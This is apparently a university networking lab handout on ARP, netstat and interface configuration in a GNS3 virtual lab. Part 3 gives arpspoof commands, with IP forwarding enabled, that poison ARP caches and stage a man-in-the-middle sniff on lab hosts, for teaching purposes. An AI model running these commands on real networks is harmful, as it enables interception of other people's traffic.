LAB TWO –Single Segment

In this lab, you will learn all about ARP and finding devices on a local (single segment) network. You will also learn more extensive commands on how to configure the PCs. All the lab exercises use the network configuration shown in Figure 2.1. Part 3 looks at a type of attack that can take place on a local network at the data link layer.

Connect all four PCs (PC1 - PC4) to a single Ethernet segment via a single hub as shown in Figure 2.1. IP addresses for the PCs as shown in Table 2.1.



Figure 2.1 - Network Configuration for Lab 2.

|  |  |
| --- | --- |
| **PCs** | **IP Addresses of Ethernet Interface eth0** |
| PC1 | 10.0.1.11 / 24 |
| PC2 | 10.0.1.12 / 24 |
| PC3 | 10.0.1.13 / 24 |
| PC4 | 10.0.1.14 / 24 |

Table 2.1 - IP Addresses for Figure 2.1

|  |
| --- |
| **Tip:** Recall the following Linux command from Lab 1, Part 3, that was used to set up the IP addresses.ifconfig **interface\_name IPAddress/XX** |

# **PART 1. Address Resolution Protocol (ARP)**

This part of the lab explores the operation of the Address Resolution Protocol (ARP) that resolves a MAC address for a given IP address. The lab exercises use the Linux command arp, for displaying and manipulating the contents of the ARP cache. We also list the “ip” suite of commands that can be used and are more common nowadays. The ARP cache is a table that holds entries of the form <IP address, MAC address>. The most common uses of the arp command are listed below.

**COMMON USES OF THE ARP COMMAND**

arp -a

Display the content of the ARP cache.

arp –d **IPAddress**

Deletes the cache entry with IP address **IPAddress**.

arp –s **IPAddress MACAddress**

Adds a static entry to the ARP cache that is never overwritten by network events. The MAC address is entered as 6 hexadecimal bytes separated by colons.

**Example:** arp –s 10.0.1.12 00:02:2D:0D:68:C1

Over the past few years, a new toolbox “iproute2” has become more prevalent than the “net-tools” suite for interface configuration. You can use either one for setting up your PCs and Lubuntu machines. We show here the equivalent commands for ARP table manipulations (in “ip” we use “neighbor or neigh for short). In the next sections we list the equivalent IP commands.

ip [options] neigh {command or help}

options: there are many, “-s” is one we use often and it displays associated statistics.

commands are: add, del, change, replace

These commands require an **IPAddress**, a ‘dev **Interface’** and possibly a **MACAddress** and ‘nud **State’** of the address. The dev parameter identifies the interface, e.g., eth0, ser0,… the action will take place on. The State will indicate if it is permanent, temporary, etc.

ip neigh {add/del/change/replace} {**IPAddress** [lladdr **MACAddress**] dev **Interface** nud **State**

If you are adding an entry, you have to add “lladdr **MACAddress**” and “nud **STATE**” to identify what type of entry: for example: **permanent**, or **failed,**…. If you are deleting an entry you only need to use the **IPAddress** and dev **Interface**. For example:

ip neigh add 10.0.1.1 lladdr 01:72:d2:32:4e:04 dev eth0 nud permanent

ip neigh del 10.0.3.4 dev eth0

ip [options] neigh show (or flush) dev **Interface**

ip neigh show or ip neigh show dev eth0

ip neigh flush dev eth0 or ip neigh flush all

Note that: ip -s -s neigh flush dev **Interface** (or “all”) flushes out everything including previously deleted entries. The -s -s options is verbose.

If you use “all” it will apply to every interface on the host**.**

|  |
| --- |
| **TIME-OUTS IN THE ARP CACHE**The entries in an ARP cache have a limited lifetime. Entries are deleted unless they are refreshed. The typical lifetime of an ARP entry is 2 minutes, but much longer lifetimes (up to 20 minutes) have been observed. Note that the GNS3 PCs (Ipterms) don’t delete the ARP cache. |

|  |
| --- |
| **FLUSHING THE ARP CACHE**Clear the ARP cache with the following commandip –s –s neigh flush all |

|  |
| --- |
| **REFRESHING THE ARP CACHE**In Linux you will observe that a host occasionally sends out ARP requests to interfaces that are already in the ARP cache.**Example:** Suppose that a host with IP address 10.0.1.22 has an ARP cache entry:Then, this host occasionally sends a unicast ARP Request to MAC 08:00:27:53:63:1a of the form:to verify that the IP address 10.0.1.11 is still present/live before deleting the entry from the ARP cache when the timer times out. A response from 10.0.1.11 will refresh the timer. |

### **Exercise 1(A). Matching IP addresses and MAC addresses**

1. Configure each PC with its IP address as shown in Table 2.1 using the ifconfig command.
2. Identify the MAC addresses of all the interfaces connected to the network and enter them in Table 2.2. You can obtain the MAC addresses from the ARP cache of a PC by issuing a ping command from that host to every other host on the network. Alternatively, you can obtain the MAC addresses from the output of the ifconfig command in the console window of each PC.
3. Here is a sample of ping commands to use that will setup the ARP tables.

**PC1**% ping 10.0.1.12 -c 5

**PC2**% ping 10.0.1.13 -c 5

**PC3**% ping 10.0.1.14 -c 5

1. View the ARP cache on each PC with the command arp -a or i1p neigh show and fill in the following table with the correct MAC address for each.

**PC%** arp -a

|  |  |  |
| --- | --- | --- |
| **PCs** | **IP Address of eth0** | **MAC address of eth0** |
| PC1 | 10.0.1.11 / 24 |  |
| PC2 | 10.0.1.12 / 24 |  |
| PC3 | 10.0.1.13 / 24 |  |
| PC4 | 10.0.1.14 / 24 |  |

Table 2.2. IP and MAC addresses

### **Exercise 1(B). A simple experiment with ARP**

1. Delete all ARP cache entries with ip –s –s neigh flush all on each PC. Note that the “arp -d” command can only delete one entry at a time with a given IP address. E.g.,

**PC1%** ip –s –s neigh flush all

1. Start Wireshark on the PC1-Hub1 link.
2. Issue a ping command from PC1 to PC2:

**PC1%** ping 10.0.1.12 –c 2

Observe the ARP packets in the Wireshark window. Explore the MAC addresses in the Ethernet headers of the captured packets.
Direct your attention to the following fields:

* + The destination MAC address of the ARP Request packets.
	+ The Type Field in the Ethernet headers of ARP packets and ICMP messages.
1. View the ARP cache on PC1 with the command “arp -a”, or the “ip neigh show**”** command.

**PC1%** arp -a

**PC1%** ip neigh show

1. Save the results of Wireshark. You will use your Wireshark output to answer the questions below.

### **Lab Questions**

* What is the destination MAC address of an ARP Request packet?
* What are the different Type Field values in the Ethernet headers that you observed?
* Use the captured data to analyze the process by which ARP acquires the MAC address for IP address 10.0.1.12.
* Why are ARP Request packets not transmitted (i.e. not encapsulated) as IP packets?

**Exercise 1(C). ARP requests for a non-existing address**

Observe what happens when an ARP request is issued for an IP address that does not exist in the local subnet. Please note that Wireshark has a tendency to get hung when there are unusual network situations such as a non-existing host. When you run into

1. Start Wireshark on PC1-Hub1 link with a capture filter set to capture packets that contain the IP address of PC1.
2. Issue a ping command from PC1 to 10.0.1.22. (Note that this address does not exist in this network configuration.)

**PC1%** ping 10.0.1.22 –c 10

1. Screenshot the output and save. STOP GNS3. Quit VMware and Quit GNS3[[1]](#footnote-1)

### **Lab Questions**

* Using the saved output, describe the time interval between each ARP Request packet issued by PC1. Observe the method used by ARP to determine the time between retransmissions of an unsuccessful ARP Request.

# **PART 2. The NETSTAT Command and More on Interface Configuration**

The Linux command netstat displays information on the network configuration and activity of a Linux system, including network connections, routing tables, interface statistics, and multicast memberships. The following exercise explores how to use the netstat command to extract different types of information about the network configuration of a host. This list shows four important uses of the netstat command.

netstat –i

Displays a table with statistics of the currently configured network interfaces.

netstat –rn

Displays the kernel routing table. The *–n* option forces netstat to print the IP addresses. Without this option, netstat attempts to display the host names.

netstat –an
netstat –tan

netstat -uan

Displays the active network connections. The *–a* option display all active network connections, the *–ta* option displays only information on TCP connections, and the *–tu* option displays only information on UDP traffic. Omitting the *–n* option prints host names, instead of IP addresses.

netstat –s

Displays summary statistics for each protocol that is currently running on the host.

The ifconfig command, besides being used to configure parameters of network interfaces, such as assigning IP addresses it also includes the ability to enable and disable interfaces. This list shows how ifconfig is used to query the status of network interfaces and to enable and disable an interface.

ifconfig

Displays the configuration parameters of all active interfaces.

ifconfig **interface**

Displays the configuration parameters of a single **interface**. For example, *ifconfig eth0* displays information on interface *eth0*.

ifconfig **interface** down

Disables the interface. No traffic is sent or received on a disabled interface

ifconfig **interface** up

Enables an interface.

ifconfig **interface IPAddress/prefix**

**e.g.,** ifconfig **eth0 10.0.1.8/24**

Assigns interface *eth0* the IP address *10.0.1.8 with* prefix 24

Showing the “ifconfig” commands and its equivalent “ip” commands:

|  |  |
| --- | --- |
| ifconfig | ip addr |
| ifconfig **interface** | ip addr show **interface** |
| ifconfig **interface** down (or up) | ip link set **interface** down (or up) |
| ifconfig **interface** **IPAddress/prefix** | ip addr add **IPAddress/prefi**x dev **interface** |
|  | ip addr del **IPAddress/prefi**x dev **interface** |

Note that if you want to **change an IP address of a host**, “ifconfig” will overwrite the current one. With the “ip” command you need to first delete the current IP address, before assigning the new one. If you don’t delete it, the interface will be assigned two IP addresses. More on that in Exercise 2(C). The link to the man page for the ip command is given below. It explains the command usage in detail.

<http://man7.org/linux/man-pages/man8/ip.8.html>

### **Exercise 2(A). Changing the IP address of an interface**

1. On PC4, run ifconfig and screenshot the output.
2. Change the IP address of interface eth0 of PC4 to 10.0.1.11/24.
3. Run ifconfig again and screenshot the output. You should see the new IP address.

|  |
| --- |
| **Tip:** If you are not able to screenshot all the output on the screen (too much data), use the command ifconfig **interface** for *each* interface so that you can capture each one separately. Likewise ip addr show dev **interface**. |

### **Exercise 2(B). Setting the same IP address on two hosts – Duplicate IP addresses**

From Exercise 2(A), PC4 should now have the same address as PC1, i.e. we now have two devices with the same IP address on the local net – duplicate IP addresses as shown in table 2.3 below.

|  |  |
| --- | --- |
| **PCs** | **IP Address of eth0** |
| PC1 | 10.0.1.11 / 24 |
| PC2 | 10.0.1.12 / 24 |
| PC3 | 10.0.1.13 / 24 |
| PC4 | 10.0.1.11 / 24 |

Table 2.3. IP addresses for Part 3 (B)

1. Delete all entries in the ARP cache on each PC using the following command:

ip –s –s neigh flush all

1. Run Wireshark on PC3-Hub1 link to capture the network traffic to and from the duplicate IP address 10.0.1.11.
2. From PC3, issue a ping command to the *duplicate* IP address, 10.0.1.11, by typing

**PC3%** ping 10.0.1.11 –c 10

1. Stop Wireshark, save all ARP packets and screenshot the ARP cache of PC3 using the arp –a command:

**PC3%** arp -a

1. When you are done with the exercise, **reset** the IP address of PC4 to its original value as given in Table 2.1.

### **Lab Questions**

* Explain how the ping packets were issued by the hosts with duplicate addresses.
* Did the ping command result in error messages?
* How can duplicate IP addresses be used to compromise the data security?
* Give an example. Use the ARP cache and the captured packets to support your explanation.

**Exercise 2(C). Multiple IP addresses on the same network interface**

Here we observe the impact of assigning multiple IP addresses to a single interface. For this exercise, please use the “ip” command:

ip addr add (or del) **IPAddress/prefix** dev **interface**

1. Clear the ARP cache on each of PC2 and PC3.
2. Add the IP address 10.0.3.12/24 to interface eth0 of PC2.

**PC2**% ip addr add **10.0.3.12/24** dev **eth0**

1. Add the IP address 10.0.3.13/24 to interface eth0 of PC3.

**PC3**% ip addr add **10.0.3.13/24** dev **eth0**

1. Use ip addr to show the configuration of the interface eth0 on each PC. Screenshot and save.

**PC2**% ip addr show **eth0**

**PC3**% ip addr show **eth0**

1. Start Wireshark on link PC2 – Hub to capture the traffic between PC2 and PC3.
2. On PC2, issue the following ping commands:

**PC2%** ping 10.0.1.13 –c 2

**PC2%** ping 10.0.3.13 –c 2

Observe the source IP address of the packets sent out by PC2.

1. Remove IP address 10.0.3.12/24 from interface eth0 of PC2.

**PC2**% ip addr del **10.0.3.12/24** dev **eth0**

1. Then issue the following ping command to PC3. Screenshot the output and save.

**PC2%** ping 10.0.3.13 –c 2

1. Stop Wireshark. Delete IP address 10.0.3.13/24 from PC3 interface eth0. STOP GNS3. Quit VMware and Quit GNS3.

### **Lab Questions**

* Describe your observations of the source IP addresses in data transmitted from PC2
* Explain what happened when the ping was issued on PC2 after removing the IP address.
* Can you think of why we would want to assign multiple IP addresses to a network interface on a host?

# **PART 3. Arp-Spoofing Attack**

In this part of the lab, you will utilize Mallory[[2]](#footnote-2) as an attacker to corrupt the ARP table of a specific host in the network. After corrupting the ARP table, the host will now consider Mallory, i.e., the attacker, to be the destination, instead of the original host it was communicating with..

The arpspoof command, is used to intercept packets on a switched LAN by forging ARP replies. This is an extremely efficient way of sniffing traffic on a “switched” network.

The usage of the arpspoof command is as follows:

arpspoof [-i**interface]** [-c**own|host|both**] [-t**target**] [-r] **host**

[] means the flag is optional

arpspoof **IPAddress**

Poison all the hosts on the LAN to *intercept* all packets that are sent to host **IPAddress**

arpspoof -i **interface** **IPAddress**

Use **interface** to poison all the hosts on the LAN to *intercept* all packets that are sent to host **IPAddress**

arpspoof -t **TargetIPAddress** **IPAddress**

Poison a specific host **TargetIPAddress** on the LAN to *intercept* all packets that are sent from that host (**TargetIPAddress)** to host **IPAddress**

arpspoof -t **IPAddress1** -r **IPAddress2**

Poison both host **IPAddress1** and **IPAddress2** to *intercept* all traffic going between them (i.e., capture data in both directions).

We will use the same configuration as shown in Figure 2.1, but you will replace PC4 with VM Mallory and configure the IP addresses as shown in the table below:

|  |  |
| --- | --- |
| **PCs** | **IP Address of eth0** |
| PC1 | 10.0.1.11 / 24 |
| PC2 | 10.0.1.12 / 24 |
| PC3 | 10.0.1.13 / 24 |
| Mallory  | 10.0.1.44 / 24 |

### **Exercise 3(A). Corrupt the ARP table on a designated Host.**

1. Delete all entries in the ARP cache on each PC using the command:

 ip –s –s neigh flush all

1. Run Wireshark on the link Mallory - Hub1 to capture the network traffic.
2. Execute the following ping commands: (PC1 to PC2, PC2 to PC3, PC3 to PC1, PC1 to Mallory, and PC2 to Mallory):

**PC1%** ping 10.0.1.12 –c 10

**PC2%** ping 10.0.1.13 –c 10

**PC3%** ping 10.0.1.11 –c 10

**PC1%** ping 10.0.1.44 -c 10

**PC2%** ping 10.0.1.44 -c 10

1. Show the ARP tables for all the PCs and Mallory using the arp –a command. Screenshot the output and save.

1. After examining the ARP tables and verifying all the MAC addresses of the PCs and Mallory, run the *arpspoof* command on **Mallory** to intercept all packets going to PC2.

**Mallory**% arpspoof 10.0.1.12

1. Execute the following ping commands:

**PC1%** ping 10.0.1.12 –c 3

**PC3%** ping 10.0.1.12 –c 3

**PC3%** ping 10.0.1.11 –c 3

**PC2%** ping 10.0.1.11 -c 3

**PC2%** ping 10.0.1.13 -c 3

1. Show the contents of the ARP table of all the PCs. Take a screenshot and save.
2. Stop the arpspoof command (^C) on Mallory. Clear the ARP cache of each PC and Mallory.
3. Now repeat but target only packets being sent from PC1 (i.e., targeting PC1).

**Mallory**% arpspoof -t 10.0.1.11 10.0.1.12

1. Execute a pingcommand from PC1 to PC2, PC2 to PC1 and from PC3 to PC2 with a count “-c 3”.
2. Show the contents of the ARP table of PC1, PC3 and PC2. Take a screenshot of the ARP tables and save.
3. Stop the *arpspoof* command (^C) on Mallory. Clear all the ARP caches.
4. Repeat the above arpspoof command but now with the *-r* flag as shown below*.*

**Mallory**% arpspoof -t 10.0.1.11 -r 10.0.1.12

1. Execute a pingcommand from PC1 to PC2 and from PC2 to PC1 with a count “-c 3”.
2. Show the contents of the ARP table of PC1 and PC2. Take a screenshot of the ARP tables and save.
3. Stop and save the Wireshark capture. STOP GNS3. Quit VMware and Quit GNS3.

### **Lab Questions**

Looking at the saved screenshots and examining the captured ARP packets in Wireshark:

* What do you see in the APR tables after executing step 6. Is it different from what you saw after step 3? Explain.
* Use the Wireshark data to explain what the command in step 6 achieved.
* Were the ping commands successful? Explain.
* What do you see in the APR tables after executing step 9. Is it different from what you saw after step 6? Explain.
* Use the Wireshark data to explain what the command in step 9 achieved.
* Were the ping commands successful? Explain.
* What do you see in the APR tables after executing step 13. Is it different from what you saw after step 3? Explain.
* Use the Wireshark data to explain what the command in step 13 achieved.
* Were the ping commands successful? Explain.
* Explain in your own words using the Wireshark output how Mallory achieves arpspoofing.

### **Exercise 3(B) Successful Sniffing or Man in the Middle Attack.**

1. Delete all entries in the ARP cache on each PC using the command:

 ip –s –s neigh flush all

1. Run Wireshark on the link Mallory - Hub1 to capture the network traffic.
2. On Mallory we need to setup packet forwarding so that the communication between PC1 and PC2 is not interrupted, Malory will only be *sniffing* the traffic and passing it along.

**Mallory%** sysctl -w net.ipv4.ip\_forward=1

1. Repeat the arpspoof command on Mallory with the *-r* flag as shown below*.*

**Mallory**% arpspoof -t 10.0.1.11 -r 10.0.1.12

1. Execute a pingcommand from PC1 to PC2 and from PC2 to PC1 with a count “-c 3”.
2. Show the contents of the ARP table of PC1 and PC2. Take a screenshot of the ARP tables and save.
3. Stop packet forwarding on Mallory:

**Mallory%** sysctl -w net.ipv4.ip\_forward=0

1. Stop and save the Wireshark capture. STOP GNS3. Quit VMware and Quit GNS3.

### **Lab Questions**

Looking at the saved screenshots and examining the captured ARP packets in Wireshark:

* What do you see different from what you saw in step 13 in exercise 3(A)? Explain.
1. Only STOP and Quit if you are done with lab. We repeat this at the end of each Lab Part. Ignore if you are continuing to work on Lab and do next part. [↑](#footnote-ref-1)
2. Please recall that for the Lubuntu VMs you always need to switch user to root using “su root”. [↑](#footnote-ref-2)